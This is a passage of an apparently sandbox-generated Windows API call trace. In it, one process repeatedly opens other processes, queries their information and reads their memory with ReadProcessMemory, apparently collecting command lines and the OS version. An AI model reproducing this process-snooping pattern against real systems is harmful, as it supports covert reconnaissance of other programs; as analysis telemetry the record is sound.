ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0216.691] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x3ed020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0216.691] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x5112e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0216.691] malloc (_Size=0x68) returned 0x196ef0d0530 [0216.691] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x511958, lpBuffer=0x196ef0d0530, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0530*, lpNumberOfBytesRead=0x0) returned 1 [0216.692] free (_Block=0x196ef0d0530) [0216.693] CloseHandle (hObject=0x45c) returned 1 [0216.694] _ui64tow_s (in: _Value=0xefc, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3836") returned 0x0 [0216.896] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3836") returned 4 [0216.897] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0216.897] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0216.915] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xefc) returned 0x45c [0216.915] GetLastError () returned 0x0 [0216.916] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0216.916] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x252018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0216.916] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0216.916] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x4a1d30, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0216.916] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x4a18f8, lpBuffer=0x670ffc3f0, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0216.918] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0216.920] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0216.920] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x252020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0216.920] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x4a12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0216.920] malloc (_Size=0x86) returned 0x196ef0d4f50 [0216.920] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x4a1976, lpBuffer=0x196ef0d4f50, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4f50*, lpNumberOfBytesRead=0x0) returned 1 [0216.921] free (_Block=0x196ef0d4f50) [0216.922] CloseHandle (hObject=0x45c) returned 1 [0216.922] _ui64tow_s (in: _Value=0xf0c, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3852") returned 0x0 [0216.927] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3852") returned 4 [0216.928] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0216.928] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0217.130] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf0c) returned 0x460 [0217.130] GetLastError () returned 0x0 [0217.131] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0217.131] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x365018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0217.131] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0217.132] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5b1cb0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0217.132] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5b18f8, lpBuffer=0x670ffc3f0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0217.133] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0217.135] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0217.135] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x365020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0217.135] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5b12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0217.135] malloc (_Size=0x60) returned 0x196ef0d0370 [0217.135] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5b1950, lpBuffer=0x196ef0d0370, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0217.136] free (_Block=0x196ef0d0370) [0217.137] CloseHandle (hObject=0x460) returned 1 [0217.137] _ui64tow_s (in: _Value=0xf18, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3864") returned 0x0 [0217.143] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3864") returned 4 [0217.145] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0217.145] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0217.307] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf18) returned 0x464 [0217.307] GetLastError () returned 0x0 [0217.308] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0217.308] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x54a018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0217.308] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0217.308] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7d1d40, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0217.309] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7d1958, lpBuffer=0x670ffc3f0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0217.310] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0217.311] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0217.311] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x54a020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0217.311] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7d1340, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0217.311] malloc (_Size=0x6e) returned 0x196ef0d4f50 [0217.311] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7d19be, lpBuffer=0x196ef0d4f50, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4f50*, lpNumberOfBytesRead=0x0) returned 1 [0217.312] free (_Block=0x196ef0d4f50) [0217.313] CloseHandle (hObject=0x464) returned 1 [0217.313] _ui64tow_s (in: _Value=0xf20, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3872") returned 0x0 [0217.318] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3872") returned 4 [0217.319] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0217.319] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0217.338] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf20) returned 0x464 [0217.338] GetLastError () returned 0x0 [0217.339] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0217.339] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ab018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0217.339] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0217.339] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x481cc0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0217.339] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4818f8, lpBuffer=0x670ffc3f0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0217.341] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0217.342] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0217.342] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ab020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0217.342] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4812e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0217.342] malloc (_Size=0x62) returned 0x196ef0d0370 [0217.342] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x481952, lpBuffer=0x196ef0d0370, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0217.343] free (_Block=0x196ef0d0370) [0217.344] CloseHandle (hObject=0x464) returned 1 [0217.345] _ui64tow_s (in: _Value=0xf30, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3888") returned 0x0 [0217.497] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3888") returned 4 [0217.498] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0217.498] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0217.516] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf30) returned 0x45c [0217.517] GetLastError () returned 0x0 [0217.517] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0217.517] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x24c018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0217.518] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0217.518] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x4d1cb0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0217.518] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x4d18f8, lpBuffer=0x670ffc3f0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0217.519] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0217.521] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0217.521] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x24c020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0217.521] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x4d12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0217.521] malloc (_Size=0x60) returned 0x196ef0d0450 [0217.521] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x4d1950, lpBuffer=0x196ef0d0450, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0450*, lpNumberOfBytesRead=0x0) returned 1 [0217.522] free (_Block=0x196ef0d0450) [0217.523] CloseHandle (hObject=0x45c) returned 1 [0217.523] _ui64tow_s (in: _Value=0xf38, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3896") returned 0x0 [0217.528] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3896") returned 4 [0217.529] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0217.530] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0217.957] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf38) returned 0x45c [0217.957] GetLastError () returned 0x0 [0217.958] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0217.958] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x3a1018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0217.958] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0217.958] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x5b1d20, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0217.958] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x5b18f8, lpBuffer=0x670ffc3f0, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0217.960] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0217.962] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0217.962] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x3a1020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0217.962] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x5b12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0217.962] malloc (_Size=0x82) returned 0x196ef0d4e70 [0217.962] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x5b1972, lpBuffer=0x196ef0d4e70, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0217.963] free (_Block=0x196ef0d4e70) [0217.964] CloseHandle (hObject=0x45c) returned 1 [0217.965] _ui64tow_s (in: _Value=0xf48, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3912") returned 0x0 [0217.971] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3912") returned 4 [0217.972] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0217.972] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0218.163] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf48) returned 0x45c [0218.163] GetLastError () returned 0x0 [0218.163] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0218.163] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x2fd018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0218.164] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0218.164] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x541c80, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0218.164] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x5418f8, lpBuffer=0x670ffc3f0, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0218.165] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0218.167] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0218.167] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x2fd020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0218.168] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x5412e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0218.168] malloc (_Size=0x4e) returned 0x196ef100860 [0218.168] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x54193e, lpBuffer=0x196ef100860, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef100860*, lpNumberOfBytesRead=0x0) returned 1 [0218.169] free (_Block=0x196ef100860) [0218.170] CloseHandle (hObject=0x45c) returned 1 [0218.171] _ui64tow_s (in: _Value=0xf50, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3920") returned 0x0 [0218.177] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3920") returned 4 [0218.179] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0218.180] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0218.309] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf50) returned 0x45c [0218.309] GetLastError () returned 0x0 [0218.310] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0218.310] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x2ac018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0218.310] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0218.310] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x561d00, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0218.310] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x5618f8, 